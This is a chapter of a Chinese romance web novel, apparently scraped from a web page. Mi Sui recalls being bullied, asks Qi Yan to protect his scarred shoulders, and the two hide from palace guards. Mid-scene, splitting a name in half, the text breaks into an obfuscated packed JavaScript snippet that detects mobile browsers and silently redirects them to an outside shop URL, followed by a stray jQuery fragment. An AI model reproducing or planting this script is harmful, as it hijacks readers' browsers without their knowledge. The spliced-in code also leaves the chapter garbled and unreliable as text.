38. 心疼

作品:《救赎那个黑莲花反派

    几个人一个接一个的将脚踩上她的后背,不顾她的痛苦喊叫,轮流用一条腿在上面支起来、又落下去,更有甚者,还仗着年纪稍微小一点,让她给他当马骑……


    那真是一段……不太好的回忆。


    芈岁眸色沉了沉。


    不过后来,他们便再也没有欺负过她了。


    因为……


    “别哭了,岁岁。”


    一道清冷的少年音打断了她的回忆,身后,一只骨节分明的手隔着衣料虚虚搭在了芈岁的肩膀上。


    感受着肩胛处熟悉却又陌生的重量,芈岁罕见的失了神。


    感受着肩胛处穿来的触感,记忆中,仿佛有什么深层次的东西破土而出——


    太阳穴猛然刺痛一瞬,芈岁险些有些站不稳。


    身后的祁厌稳稳的将她扶住,待辅助她站稳,少年克制的退后几步。


    “怎么了,是受寒导致的头晕吗?”


    摆了摆手,轻轻揉了揉一侧的穴位,芈岁开口:“无碍,我可能是……太激动了。”


    每次都是这样,一想到那个场景,头便像针扎一般刺痛。


    穿书后想的少了,这才好转些,只是没想到,今日不经意间回忆往事,竟将这事儿也一并想了起来。


    虽然……可能,只是一抹幻象。


    芈岁抬头,月光此刻居然也刺眼的可怕。


    祁厌背对着月亮,芈岁方才头疼的劲儿还没缓过来,依旧有些畏光,她不敢直视月亮,却敢直视对面的少年。


    逆着光的祁厌有那么一瞬间和记忆中的幻影合二为一——


    芈岁近乎失了神智。


    “好点了吗?”


    好点……了,吗?


    反应过来祁厌在同她说话:“嗯……”


    芈岁迟疑着点了点头。


    真是晃了眼,这都能看错。


    “那,现在能告诉我,你方才,为何要打我?”


    好了,来了,秋后算账来了。


    说实话,芈岁现在自己也有点后悔,方才怎么就一时冲动打了祁厌的手?


    纠结片刻,想了想,她还是决定如实说出来。


    “我……对不起,阿厌,我方才有点冲动了。”


    低垂着眉眼,芈岁的神态中带着歉意。


    “所以?”


    张了张嘴,芈岁最终叹了口气:“阿厌,你以后可不可以不要随便让别人,对你……对你,呃,动手动脚。”


    “嗯?”好看的剑眉微微一凝,祁厌目露疑惑。


    想说的话最终在心口打转,脱口而出的却只是一个“嗯”。


    抿了抿唇,芈岁最终还是开口。


    “阿厌,你的肩膀,不可以被别人踩,谁都不可以,旁人一概都不可以!”


    她知道她此刻好像有些蛮横不讲理,有些过于霸道了,她本没有立场去说这件事的,可是……祁厌是她喜欢的角色,是她最喜欢、最喜欢的角色。


    思绪微停,芈岁都觉得自己可笑。


    她到底还在找什么借口?


    “……为何?”


    “因为……因为……”


    “因为你,有很多伤啊……”


    她不想,真的不想再为他在肩膀上施加任何一道伤痛了。


    不仅是因为祁厌是她最喜欢的角色,更是因为,芈岁觉得,看到他就仿佛看到了曾经那个瘦弱、无力反抗,只能默默被迫承受一切不堪的自己。


    如果她不能心疼那个时候的自己,那就让她来保护这个世界的祁厌吧。


    *


    ‘因为你,有很多伤啊……’


    她这是在……心疼他?


    是因为他受过很多伤,所以她便……


    这句话不知道戳中了祁厌的哪根神经,少年只知道,胸腔内的那股莫名的情绪又隐隐涌出来,这次,它们似乎已经不满足于只在胸腔内活跃。


    一种莫名的,从未有过的新奇感受几乎要将他整个人填满乃至,溢出来……


    如此鲜活的情绪,这是祁厌六岁那年以后,头一次感知到了。


    一句话便有如此大的威力吗?


    祁厌低垂着的眼睫扑朔迷离。


    或许,只有和芈岁在一起时,他才能感觉到,自己还是活着的。


    他到底是怎么了?


    祁厌或许有点明白了。


    偏了偏头,祁厌没再去看芈岁的眼睛。


    他只沉闷着声音,道出一句:“可是岁岁,于我而言,你好像……”已经——


    “嘘!!”


    芈岁急忙上前,一把捂住他的嘴。


    可惜了,话没能完全说出口。


    这是祁厌被迫住嘴前的最后一个想法。


    又是一阵沉重的脚步声渐行渐近,这次,光听声音的深浅,就连芈岁这种行外人都不难判断出人多,且来势汹汹。


    “快!人在那边!他们这是使了一招调虎离山之计,那两个人肯定还在那边!全军听令!全速捉拿逆贼,全面封锁玉月楼!”


    声音越来越近,祁厌看着突然近在咫尺的少女有些没反应过来。


    见状,芈岁咬牙,一个用力压上祁厌,将人撞在一堵墙的死角处。


    后背蓦然感受到冰冷的碰撞,身前又是从未感受过的温软。


    祁厌轻“嘶”了一声,不知是在感叹哪一边。


    只是嘴巴早已被芈岁堵住,他吸到了芈岁手掌间唯一一小段缝隙里的空气,芈岁的手掌淬不及防紧紧贴上祁厌的薄唇——


    双方温润的触感皆让对方眸光一松。


    两人眼中皆有双方读不懂的情绪流转,可寂静只存在于一瞬间。


    芈岁耳尖一热,动作飞快又别别扭扭的松了堵着祁厌嘴唇的手掌。


    这次,祁厌的反应比她要更快一步,不过转瞬之间,耳边便穿来少年的低声耳语,他的语调是不同于芈岁的干脆利落。


    “得罪了,抱好,岁岁。”


    “?”得罪?


    抱……抱什么?


    等等,抱?!


    感受到腰间和腿弯处不属于自己的手掌触感,芈岁还来不及反应,身体便随之腾空一跃而起!


    紧闭上双眼的那一刻,一抹思考涌入脑海。


    那扇破旧的窗户容纳一个人尚且艰难,两个人则更是雪上加霜,祁厌要怎么过?


    不得已,芈岁只好努力并)拢双腿,用力抱紧祁厌修长白暂的脖颈,将脑袋使劲儿往他怀里钻!


    风休住,一股难闻的木制腐烂味道充斥着芈岁鼻尖。


    这是进来了?


    意料之中的磕碰没有发生,浑身上下也不见一丝痛意。


    芈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13805268|140365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    岁悄悄睁开一只眼睛,打量周围的建筑。


    由于身高差的缘故,芈岁并未提前观察到这座宫殿内部的布景。


    祁厌是怎么抱着她从窗户这个方向跳进来的?


    是轻功吧。


    会轻功的就是不一样啊!


    等等,轻功?


    想到什么,芈岁猛地回头看向一旁笑眯眯的祁厌。


    “看我做什么?是好奇我怎么会轻功?”


    芈岁震惊!


    这人哪是九皇子啊,他怕不是她肚子里的蛔虫吧!


    芈岁咽了咽口水,连忙点了点头。


    一声微弱的轻笑响起,少女对上少年满是诱惑的桃花眼。


    “那,岁岁,我可以告诉你,可作为回报,你是不是也得告诉我一个小秘密?”


    芈岁眨了眨眼,心虚的摇了摇头:“这可不是我主动要问的哦!是我发现的!更是你‘主动’告诉我的呀!”


    祁厌噗嗤一笑,玩味的看了她一眼,倒是不再提起这个话题。


    他不说话,芈岁可有话要说。


    少女先是小心翼翼的拉着祁厌躲到一处偏僻的拐角处,那里曾经大概是浴房,往下面看去,还能看到一个不大深的池子,只是池子里目前没有水就是了。


    随后轻轻拍了拍祁厌的后背:“先前那个带着黑色斗笠的家伙是你的人吧?”


    祁厌点过头,算是承认下来。


    见他点头,芈岁接着又奇怪的问:“我不明白,明明我们的行动并不大胆,可为什么那队禁卫军一下子便能找到我们,并且清楚的爆出我们有两个人呢?”


    这是芈岁感到最奇怪的一个点,早在一开始碰到斗笠人的时候她就想问了,只是苦于一直找不到合适的机会。


    不知为什么,经此一遭,她总觉得自己和祁厌之间的关系好像又亲近了一点点。


    祁厌手里拿着一根不知何时摘回来的狗尾巴草,用半的头部轻扫芈岁的下巴。


    芈岁被他弄的瘙痒难耐,一把抓住他作乱的武器,反客为主!


    不知道是不是她的错觉,总感觉,刚认识时候的祁厌就像一个温温柔柔的假人,经过后面无数次的相处,假人仿佛被一点一点赐予了灵魂。


    芈岁总有一种感觉,现在这副样子大抵还不是他的真面目。


    只是,现在可不是在讨论这个的时候。


    “祁厌!我问你话呢!”自从二人互换了昵称,芈岁便再也没有连名带姓的叫过他祁厌,一直都是“阿厌、阿厌”的称呼他。


    如今乍一听全名,祁厌心里略微有些不满。


    只是他依旧耐着性子回答芈岁的所有问题。


    “实不相瞒,岁岁,如果我说,你和我都被人监视了,你当如何?”


    “……啊?”


    她当如何?


    她能当如何?


    对于这个问题,芈岁脸色瞬间大白一片!


    “你说的这是真的吗?我们……我们俩……都,都被人给……盯上啦?!”


    这算怎么回事嘛!


    祁厌见她小心翼翼的样子,轻笑出声。


    “……没有,逗你玩儿呢。”


    危险的事便交给他来做吧。


    闻言,芈岁可算是松了一口气,于是随即她又谨慎的问:“那……那你呢?你又当如何?”